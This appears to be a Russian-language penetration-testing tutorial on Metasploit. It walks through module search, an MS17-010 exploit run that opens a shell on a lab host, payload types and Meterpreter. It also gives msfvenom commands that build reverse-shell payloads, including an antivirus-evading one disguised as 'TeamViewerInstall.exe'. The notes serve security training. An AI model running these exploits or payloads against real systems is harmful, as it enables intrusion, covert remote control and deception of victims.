> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-tools/exploitation/metasploit.md).

# Metasploit

Заметки по методологии Metasploit Framework, охватывающие msfconsole, поиск модулей, вспомогательные модули, модули эксплуатации, payload'ы, энкодеры, msfvenom, Meterpreter, рабочие пространства базы данных, сессии, перечисление сервисов

## Metasploit:

{% hint style="info" %}
Metasploit — это платформа для тестирования на проникновение с открытым исходным кодом, широко используемая специалистами по ИБ для оценки уязвимости ИТ-систем. Она предоставляет набор инструментов и ресурсов для обнаружения, эксплуатации и устранения уязвимостей безопасности в сетях, операционных системах, приложениях и других ИТ-компонентах. Вкратце, Metasploit — это комплексный фреймворк для проведения тестирования на проникновение и аудита безопасности.
{% endhint %}

По умолчанию все основные файлы, связанные с Metasploit Framework, можно найти `/usr/share/metasploit-framework`

## Рабочий процесс Metasploit

1. Определите открытый сервис, версию, платформу и вероятную уязвимость, прежде чем выбирать модуль.
2. Ищите модули по сервису, CVE, платформе, типу, рангу и имени, а затем просматривайте информацию о модуле и ссылки.
3. Настройте параметры цели, параметры payload, адреса слушателя и выбор цели с минимально необходимой надежной конфигурацией.
4. Запускайте проверки, где это доступно, выполняйте только подтвержденные модули и сохраняйте вывод модуля для отчета.
5. Управляйте сессиями, рабочими пространствами, loot, учетными данными, службами и хостами через базу данных Metasploit, когда оценка становится более масштабной.

### **Модули:**

Описанные выше модули разделены в этом файле на отдельные категории. В следующих разделах мы подробно рассмотрим их. Они находятся в следующих папках:<br>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77dfbf31283b2d3bfa49b50822638774550ebbd7%2Fimage%20(2425).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Плагины:**

Плагины дают пентестеру больше гибкости при использовании `msfconsole`поскольку их можно легко загружать вручную или автоматически по мере необходимости, чтобы обеспечить дополнительную функциональность и автоматизацию во время нашей оценки.

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edae3294cc47c3a2cc6d9a7b8a6da41a4f6862f7%2Fimage%20(2426).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Сценарии:

Функциональность Meterpreter и другие полезные сценарии.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbfdb7ea26f6d2afe655265e269a724fb61af2a7%2Fimage%20(2427).png?alt=media" alt="" width="471"><figcaption></figcaption></figure>

### **Инструменты:**

Утилиты командной строки, которые можно вызывать напрямую из `msfconsole`меню

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-260718694bd64a3ecbbd9379daeeda1eb6238e06%2Fimage%20(2428).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13df96f51b0e8b40b505c931948efb56fac8df30%2Fimage%20(2424).png?alt=media" alt=""><figcaption></figcaption></figure>

### Структура взаимодействия MSF

Структуру взаимодействия MSF можно разделить на пять основных категорий.

* Перечисление
* Подготовка
* Эксплуатация
* Повышение привилегий
* После эксплуатации

{% hint style="info" %}
Такое деление облегчает нам поиск и выбор подходящих функций MSF более структурированным образом и соответствующую работу с ними. У каждой из этих категорий есть разные подкатегории, предназначенные для конкретных целей. К ним относятся, например, проверка сервисов и исследование уязвимостей.
{% endhint %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33d8ad54ed6afb63be4d2040b16135f6e955c0f0%2Fimage%20(2423).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Компоненты**

### Поиск модулей:

#### Как только мы окажемся в `msfconsole`, мы сможем выбрать из длинного списка, содержащего все доступные модули Metasploit. Каждый из них структурирован по папкам, которые будут выглядеть так:

**Синтаксис:**

```bash
<№> <тип>/<ОС>/<сервис>/<имя>
```

**Пример**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **НЕТ:**

Эта `№`тег будет показан, чтобы позже во время наших поисков выбрать нужный нам эксплойт. Мы увидим `№`позже, насколько полезным может быть этот тег для выбора конкретных модулей Metasploit.

2. **Тип:**

| Тип:                | **Описание**                                                                                                               |
| ------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `Вспомогательный`   | Функции сканирования, фуззинга, обнаружения и администрирования. Обеспечивает поддержку и дополнительную функциональность. |
| `Кодировщики`       | Обеспечивают целостность payload до достижения ими цели.                                                                   |
| `Эксплойты`         | Модули, использующие уязвимость для доставки payload.                                                                      |
| `NOP`               | (код операции не выполняется) Поддерживают одинаковый размер payload между попытками эксплуатации.                         |
| `Полезные нагрузки` | Код выполняется удаленно и связывается с машиной атакующего, чтобы установить соединение или shell.                        |
| `Плагины`           | Дополнительные сценарии могут быть интегрированы в `msfconsole` оценку и сосуществовать.                                   |
| `Post`              | Широкий набор модулей для сбора информации, более глубокого продвижения и связанных задач post-exploitation.               |

3. **ОС:**

Эта `ОС`тег указывает операционную систему и архитектуру, для которых был создан модуль. Разумеется, для разных операционных систем требуется разный код, чтобы добиться желаемых результатов 4. **Сервис:**

Эта `Сервис` тег относится к уязвимому сервису, работающему на целевой машине. Для некоторых модулей, таких как `вспомогательный` или `post`, этот тег может относиться к более общей активности, такой как `сбор`, например, относящийся к сбору учетных данных. 5. **Имя:**

Наконец, `Название`тег объясняет фактическое действие, которое можно выполнить с помощью этого модуля, созданного для конкретной цели.

**MSF - функция поиска**

Например, мы можем попытаться найти `EternalRomance`эксплойт для старых версий Windows. Это может выглядеть так:

`search eternalromance`

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-999feeb2ad3e48a6a3fd84fda41b92ed60c1dc92%2Fimage%20(2430).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Специфический поиск:**

Мы также можем сделать наш поиск немного более грубым и сузить его до одной категории сервисов. Например, для CVE мы могли бы указать год (`cve:<год>`), платформу Windows (`platform:<ОС>`), тип модуля, который мы хотим найти (`type:<auxiliary/exploit/post>`), ранг надежности (`rank:<ранг>`), и шаблон поиска (`<шаблон>`). Это сократит результаты до тех, которые соответствуют всему вышеперечисленному.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2cc2559310b8d7bcfc5596da295b1773672e06e%2Fimage%20(2431).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Использование модулей:

Чтобы выбрать наш первый модуль, сначала нужно найти один. Предположим, у нас есть цель, на которой работает версия SMB, уязвимая к эксплойтам EternalRomance (MS17/\_010). При сканировании цели мы обнаружили, что открыт порт сервера SMB 445.

**Поиск MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c27e5513ac68682cef267e1ab8f5c9d4d402820%2Fimage%20(2432).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**MSF - выбор модуля**

Чтобы использовать модуль в Metasploit, сначала введите `use` команду, затем нужный номер модуля, после чего используйте команду `options` для просмотра сведений и конфигурации, доступных для этого модуля.

```bash
Совпадающие модули
================

   #  Имя                                  Дата публикации  Ранг    Проверка  Описание
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Yes    Выполнение кода на удаленной Windows через SMB для MS17-010 EternalRomance/EternalSynergy/EternalChampion
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  No     Удаленное выполнение команд Windows через SMB для MS17-010 EternalRomance/EternalSynergy/EternalChampion

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Параметры модуля (exploit/windows/smb/ms17_010_psexec):

   Имя                  Текущая настройка                     Обязательно  Описание
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       Показывать дополнительную отладочную информацию
   LEAKATTEMPTS          99                                       yes       Сколько раз пытаться выполнить утечку транзакции
   NAMEDPIPE                                                      no        Именованный канал, к которому можно подключиться (оставьте пустым для автоматического выбора)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Список именованных каналов для проверки
                         rdlists/named_pipes.txt
   RHOSTS                                                         yes       Целевой хост(ы), см. https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      yes       Целевой порт (TCP)
   SERVICE_DESCRIPTION                                            no        Описание службы, используемое на цели для красивого отображения
   SERVICE_DISPLAY_NAME                                           no        Отображаемое имя службы
   SERVICE_NAME                                                   no        Имя службы
   SHARE                 ADMIN$                                   yes       Общий ресурс, к которому нужно подключиться; может быть административным ресурсом (ADMIN$,C$,...) или no
                                                                            rmal общий ресурс папки для чтения/записи
   SMBDomain             .                                        no        Домен Windows, используемый для аутентификации
   SMBPass                                                        no        Пароль для указанного имени пользователя
   SMBUser                                                        no        Имя пользователя для аутентификации

Параметры payload (windows/meterpreter/reverse_tcp):

   Имя      Текущая настройка  Обязательно  Описание
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Способ завершения (допустимые значения: '', seh, thread, process, none)
   LHOST                      yes       Адрес прослушивания (можно указать интерфейс)
   LPORT     4444             yes       Порт прослушивания

Цель эксплойта:

   Id  Имя
   --  ----
   0   Автоматически
```

**Сведения о модуле**

Мы можем использовать `info`команду после выбора модуля, если хотим узнать больше о нем. Это даст нам ряд сведений, которые могут быть важны для нас.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Имя: Выполнение кода на удаленной Windows через SMB для MS17-010 EternalRomance/EternalSynergy/EternalChampion
     Модуль: exploit/windows/smb/ms17_010_psexec
   Платформа: Windows
       Архитектура: x86, x64
 С повышенными привилегиями: Нет
    Лицензия: Metasploit Framework License (BSD)
       Ранг: Normal
  Опубликовано: 2017-03-14

Предоставлено:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Доступные цели:
  Id  Имя
  --  ----
  0   Автоматически
  1   PowerShell
  2   Нативная загрузка
  3   Загрузка MOF

Проверка поддерживается:
  Да

Основные параметры:
  Имя                  Текущая настройка                     Обязательно  Описание
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    yes       Показывать дополнительную отладочную информацию
  LEAKATTEMPTS          99                                       yes       Сколько раз пытаться выполнить утечку транзакции
  NAMEDPIPE                                                      no        Именованный канал, к которому можно подключиться (оставьте пустым для автоматического выбора)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Список именованных каналов для проверки
                        rdlists/named_pipes.txt
  RHOSTS                                                         yes       Целевой хост(ы), см. https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      yes       Целевой порт (TCP)
  SERVICE_DESCRIPTION                                            no        Описание службы, используемое на цели для красивого отображения
  SERVICE_DISPLAY_NAME                                           no        Отображаемое имя службы
  SERVICE_NAME                                                   no        Имя службы
  SHARE                 ADMIN$                                   yes       Общий ресурс, к которому нужно подключиться, может быть административным ресурсом (ADMIN$,C$,...) или nor
                                                                           mal общий ресурс папки для чтения/записи
  SMBDomain             .                                        no        Домен Windows, используемый для аутентификации
  SMBPass                                                        no        Пароль для указанного имени пользователя
  SMBUser                                                        no        Имя пользователя для аутентификации

Сведения о payload:
  Пространство: 3072

Описание:
  Этот модуль использует уязвимости SMB в MS17-010, чтобы
  получить примитив write-what-where. Затем он будет использован, чтобы
  перезаписать информацию о сеансе соединения как
  сеанс Administrator. После этого выполняется обычный код payload psexec.
  Эксплуатирует путаницу типов между запросами Transaction и
  WriteAndX, а также состояние гонки в запросах Transaction, как
  показано в эксплойтах EternalRomance, EternalChampion и EternalSynergy.
  Эта цепочка эксплойтов надежнее, чем эксплойт EternalBlue,
  но требует именованного канала.

Ссылки:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Также известен как:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Определение цели**

Как только мы уверены, что выбранный модуль подходит для нашей цели, нам нужно задать некоторые параметры, чтобы настроить модуль для успешного использования на нашем целевом хосте, например, указав цель ( `RHOST`или `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Кроме того, есть `setg` параметр, который делает выбранные нами опции постоянными до перезапуска программы.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2ed54a96a61ddba91c6c51c83d33d46ef03dad7%2Fimage%20(2434).png?alt=media" alt=""><figcaption></figcaption></figure>

**Запуск эксплойтов**

Когда все настроено и готово, можно приступать к запуску атаки. Команда: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Запущен обработчик обратного TCP на 10.10.14.15:4444
[*] 10.10.10.40:445 - Используется auxiliary/scanner/smb/smb_ms17_010 как проверка
[+] 10.10.10.40:445       - Узел, вероятно, УЯЗВИМ к MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Просканирован 1 из 1 хостов (100% завершено)
[*] 10.10.10.40:445 - Подключение к цели для эксплуатации.
[+] 10.10.10.40:445 - Соединение для эксплуатации установлено.
[+] 10.10.10.40:445 - Выбранная целевая ОС действительна для ОС, указанной в ответе SMB
[*] 10.10.10.40:445 - Дамп необработанного буфера CORE (42 байта)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Выбранная целевая архитектура действительна для архитектуры, указанной в ответе DCE/RPC
[*] 10.10.10.40:445 - Попытка эксплуатации с 12 выделениями Groom.
[*] 10.10.10.40:445 - Отправка всех фрагментов пакета эксплойта, кроме последнего
[*] 10.10.10.40:445 - Начало grooming нестраничного пула
[+] 10.10.10.40:445 - Отправка буферов SMBv2
[+] 10.10.10.40:445 - Закрытие соединения SMBv1, создающее свободную дыру рядом с буфером SMBv2.
[*] 10.10.10.40:445 - Отправка финальных буферов SMBv2.
[*] 10.10.10.40:445 - Отправка последнего фрагмента пакета эксплойта!
[*] 10.10.10.40:445 - Получение ответа на пакет эксплойта
[+] 10.10.10.40:445 - Перезапись ETERNALBLUE успешно завершена (0xC000000D)!
[*] 10.10.10.40:445 - Отправка egg в поврежденное соединение.
[*] 10.10.10.40:445 - Активация освобождения поврежденного буфера.
[*] Открыт сеанс командной оболочки 1 (10.10.14.15:4444 -> 10.10.10.40:49158) в 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Цели

### **Показать цели:**

Эта `show targets`команда, введенная в представлении модуля эксплойта, покажет все доступные уязвимые цели для данного эксплойта. Если вы оставите выбор на `Автоматически`msfconsole поймет, что нужно выполнить обнаружение сервиса на указанной цели перед запуском успешной атаки.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ca78baad8230f0f67ca3ccf72e1147854903b8a%2Fimage%20(2435).png?alt=media" alt=""><figcaption></figcaption></figure>

Однако, если мы знаем, какие версии работают на нашей цели, мы можем использовать `set target <№ индекса>`команду, чтобы выбрать цель из списка.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

цель => 6
```

### Полезные нагрузки:

{% hint style="info" %}
В `полезная нагрузка` В Metasploit модуль помогает модулю эксплойта вернуть (обычно)  `оболочку` атакующему. Полезные нагрузки отправляются вместе с самим эксплойтом, чтобы обойти стандартные рабочие процедуры уязвимой службы (задача эксплойта), затем выполняются на целевой операционной системе, обычно возвращая обратное соединение атакующему и выполняя задачу полезной нагрузки.
{% endhint %}

В фреймворке Metasploit есть три различных типа модулей payload: Singles, Stagers и Stages.

1. **Одиночные полезные нагрузки** :

> Простая полезная нагрузка содержит весь код, необходимый для эксплуатации и выполнения, в одной автономной нагрузке. Это делает их более стабильными, поскольку выполняется только один элемент. Однако их размер может быть ограничен, поскольку некоторые атаки не поддерживают слишком большие payload. Они идеально подходят для немедленных действий, таких как добавление пользователя или запуск процесса на целевой машине.

2. **Загрузчики полезной нагрузки:**

> Полезные нагрузки-загрузчики работают с полезными нагрузками Stage, разделяя загрузку на несколько стадий. Загрузчик находится в системе атакующего и инициирует сетевое соединение с целью, когда стадия выполняется на удаленной машине. Они разработаны так, чтобы быть маленькими и надежными, что облегчает установление соединений. Для Windows также доступны загрузчики в версиях "NX" (для совместимости с защитой DEP) и "NO-NX", при этом NX более громоздкие, но подходят для современных систем.

3. **Стадии полезной нагрузки**:

> Стадии полезной нагрузки — это компоненты, загружаемые загрузчиками, для расширенной функциональности и без ограничений по размеру. Они используются для сложных нагрузок, таких как Meterpreter или внедрение VNC. Чтобы минимизировать ошибки, стадии используют промежуточные загрузчики для обеспечения стабильности загрузки. Они особенно подходят для многоэтапных атак, требующих надежного и устойчивого потока данных.

### Стадиированные полезные нагрузки:

**полезные нагрузки по стадиям**

Как пользователи Metasploit, мы будем встречать их под общими названиями `reverse_tcp`, `reverse_https`, и `bind_tcp`. Например, в разделе `show payloads`команды можно искать полезные нагрузки, которые выглядят примерно так:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1e4d92b3c4090403c7eb20b12d40eedeef1ef56%2Fimage%20(2436).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Полезные нагрузки Meterpreter:**

`Meterpreter` — это продвинутая полезная нагрузка, использующая внедрение DLL для установления стабильного и постоянного соединения полностью в памяти, что затрудняет ее обнаружение. Она позволяет динамически загружать сценарии и плагины. После запуска она открывает сеанс, предлагающий специальные команды для управления целевой системой: `снятие клавиш, восстановление паролей, прослушивание микрофона и многое другое.`

### Поиск полезных нагрузок:

Чтобы выбрать нашу первую полезную нагрузку, нам нужно знать, что мы хотим делать на целевой машине. Например, если нам нужен постоянный доступ, мы, вероятно, захотим выбрать полезную нагрузку Meterpreter.

Просматривая список выше, мы находим раздел, содержащий `Полезные нагрузки Meterpreter для Windows(x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик IPv6 Bind TCP для Windows x64
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик IPv6 Bind TCP для Windows x64 с поддержкой UUID
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Bind Named Pipe для Windows x64
   518  windows/x64/meterpreter/bind_tcp                                     вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Bind TCP для Windows x64
   519  windows/x64/meterpreter/bind_tcp_rc4                                 вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Bind TCP (шифрование стадии RC4, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Bind TCP с поддержкой UUID (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse HTTP для Windows x64 (wininet)
   522  windows/x64/meterpreter/reverse_https                                вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse HTTP для Windows x64 (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse Named Pipe (SMB) для Windows x64
   524  windows/x64/meterpreter/reverse_tcp                                  вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse TCP для Windows x64
   525  windows/x64/meterpreter/reverse_tcp_rc4                              вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse TCP (шифрование стадии RC4, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse TCP с поддержкой UUID (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse HTTP для Windows x64 (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             вручную  Нет     Windows Meterpreter (Reflective Injection x64), загрузчик Reverse HTTPS для Windows x64 (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              вручную  Нет     Windows Meterpreter Shell, встроенный Bind Named Pipe (x64)
   530  windows/x64/meterpreter_bind_tcp                                     вручную  Нет     Windows Meterpreter Shell, встроенный Bind TCP (x64)
   531  windows/x64/meterpreter_reverse_http                                 вручную  Нет     Windows Meterpreter Shell, встроенный Reverse HTTP (x64)
   532  windows/x64/meterpreter_reverse_https                                вручную  Нет     Windows Meterpreter Shell, встроенный Reverse HTTPS (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             вручную  Нет     Windows Meterpreter Shell, встроенный Reverse TCP (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  вручную  Нет     Windows Meterpreter Shell, встроенный Reverse TCP x64
</code></pre>

### **Поиск конкретной полезной нагрузки:**

Мы также можем использовать `grep`для фильтрации конкретных терминов. Это ускорит поиск и, следовательно, наш выбор.

```bash
grep meterpreter show payloads
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-191ade67bb9818f9ce38186d363e806d9cb579ec%2Fimage%20(2437).png?alt=media" alt=""><figcaption></figcaption></figure>

Теперь мы можем добавить еще одну `grep`команду после первой и искать `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48f373e96aabdc1a62b4409a6057a93f0c08b631%2Fimage%20(2438).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Выбор полезной нагрузки:**

Мы используем `set payload <№>`только после того, как вы сначала выберете модуль Exploit.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Использование полезных нагрузок:

Для части Exploit нам нужно определить следующие элементы:

| **Параметр** | **Описание**                               |
| ------------ | ------------------------------------------ |
| `RHOSTS`     | IP-адрес удаленного хоста, целевой машины. |
| `RPORT`      | Порт удаленного хоста.                     |

Для части payload нам нужно определить следующие элементы:

| **Параметр** | **Описание**                                                          |
| ------------ | --------------------------------------------------------------------- |
| `LHOST`      | IP-адрес хоста, машины атакующего.                                    |
| `LPORT`      | Обычно не требует изменения; убедитесь, что порт уже не используется. |

### Типы полезной нагрузки:

| **Полезная нагрузка**             | **Описание**                                                                           |
| --------------------------------- | -------------------------------------------------------------------------------------- |
| `generic/custom`                  | Универсальный многоцелевой прослушиватель                                              |
| `generic/shell_bind_tcp`          | Универсальный многоцелевой прослушиватель, обычная оболочка, TCP bind-соединение       |
| `generic/shell_reverse_tcp`       | Универсальный многоцелевой прослушиватель, обычная оболочка, обратное TCP-соединение   |
| `windows/x64/exec`                | Выполняет произвольную команду (Windows x64)                                           |
| `windows/x64/loadlibrary`         | Загружает произвольный путь к библиотеке x64                                           |
| `windows/x64/messagebox`          | Создаёт диалоговое окно через MessageBox с настраиваемым заголовком, текстом и значком |
| `windows/x64/shell_reverse_tcp`   | Обычная оболочка, одиночная полезная нагрузка, обратное TCP-соединение                 |
| `windows/x64/shell/reverse_tcp`   | Обычная оболочка, стейджер плюс стадия, обратное TCP-соединение                        |
| `windows/x64/shell/bind_ipv6_tcp` | Обычная оболочка, стейджер плюс стадия, привязка к IPv6 TCP                            |
| `windows/x64/meterpreter/$`       | Полезная нагрузка Meterpreter плюс варианты выше                                       |
| `windows/x64/powershell/$`        | Интерактивные сеансы PowerShell плюс варианты выше                                     |
| `windows/x64/vncinject/$`         | VNC-сервер (рефлексивная инъекция) плюс варианты выше                                  |

## Кодировщики

{% hint style="info" %}
За 15 лет существования фреймворка Metasploit, `Кодировщики`мы помогали делать полезные нагрузки совместимыми с разными архитектурами процессоров, одновременно способствуя обходу антивирусов. `Кодировщики`здесь используется для модификации полезной нагрузки, чтобы она запускалась на разных операционных системах и архитектурах. Эти архитектуры включают:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Выбор кодировщика:

> Если бы мы хотели создать собственную полезную нагрузку, мы могли бы сделать это через `msfpayload`, но нам пришлось бы закодировать её в соответствии с архитектурой целевой ОС с помощью `msfencode`затем. Конвейер брал бы вывод одной команды и передавал его следующей, что создало бы закодированную полезную нагрузку, готовую к отправке и выполнению на целевой машине.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac18cc3eac15e831205de57b0085ece7314c9320%2F%7BD3279ABA-2960-43A3-86BE-4ECBA9376109%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Создание полезной нагрузки — без кодирования:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Теперь нам следует взглянуть на первую строку `$buf`и посмотреть, как она меняется при применении кодировщика, например `shikata_ga_nai`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634afd7fd599c6ee93aea2f65f8be06d24cf9907%2F%7B8E9B03CA-46C2-4B43-AA36-FC9B9CCC7281%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Создание полезной нагрузки — с кодированием:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8f80ba699d93e31e9a027fa806255f4cff67174%2F%7B6963439A-3BE4-4CA9-AFBF-9F1D68EF5AE4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Кодирование Shikata Ga Nai:**

> Возьмём приведённый выше пример как есть, гипотетический пример. Если бы мы закодировали исполняемую полезную нагрузку всего один раз с помощью SGN, она, скорее всего, была бы обнаружена большинством современных антивирусов. Давайте на минуту посмотрим на это. Беря `msfvenom`, индекс фреймворка, который отвечает за генерацию полезных нагрузок и схемы кодирования, мы имеем следующую запись:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

